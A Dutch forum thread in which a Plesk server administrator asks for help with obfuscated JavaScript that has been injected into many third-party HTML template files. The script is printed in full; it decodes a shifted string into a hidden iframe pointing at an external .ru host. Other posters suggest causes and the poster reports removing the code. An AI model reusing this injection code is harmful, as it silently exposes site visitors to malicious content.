Onderwerp: Trojan en stuff op plesk server

Dag,

We krijgen steeds bij verschillende websites de volgende code spontaan in HTML files:

<script language="javascript" type="text/javascript">var k='?gly#vw|oh@%ylvlelolw|=#klgghq>#srvlwlrq=#devro xwh>#ohiw=#4>#wrs=#4%A?liudph#vuf@%kwws=22xvhu431l iudph1ux2Bv@4%#iudpherughu@3#yvsdfh@3#kvsdfh@3#zlg wk@4#khljkw@4#pdujlqzlgwk@3#pdujlqkhljkw@3#vfurool qj@qrA?2liudphA?2glyA',t=0,h='';while(t<=k.length-1){h=h+String.fromCharCode(k.charCodeAt(t++)-3);}document.write(h);</script>

Het lijkt erop alsof dit alleen bij template files gebeurt.
Heeft iemand het vaker gehad? en zoja, een oplossing?

Zijn het eigen websites?
Of websites van andere?

websites van derden.
Ben er net achter dat het enorm veel files zijn.
Lijkt op een hack/virus/of iets dergelijks.

Ikw eet wel dat er virussen zijn die de eigen HTML files aanpast en als je die dan upload dat ze dus vervelende content bevatten.
Als het een Windows server betreft kan het ook goed mogelijk zijn dat die dit virus bevat.

het is een linux server.
Als iemand een scriptje heeft die deze string uit iedere file die in iedere dir eruit filtert, stel ik dat op prijs

En het staat in de files op de server, of staat het in je eigen browser?
Want ZoneAlarm zet bijv. ook javascript in pagina's tegen popups.

files, heb het inmiddels overal eruit, ik werk met een linux desktop, dus zonealarm doet nie veel hier

Zonealarm was maar een voorbeeld, er is meer software die dit doet.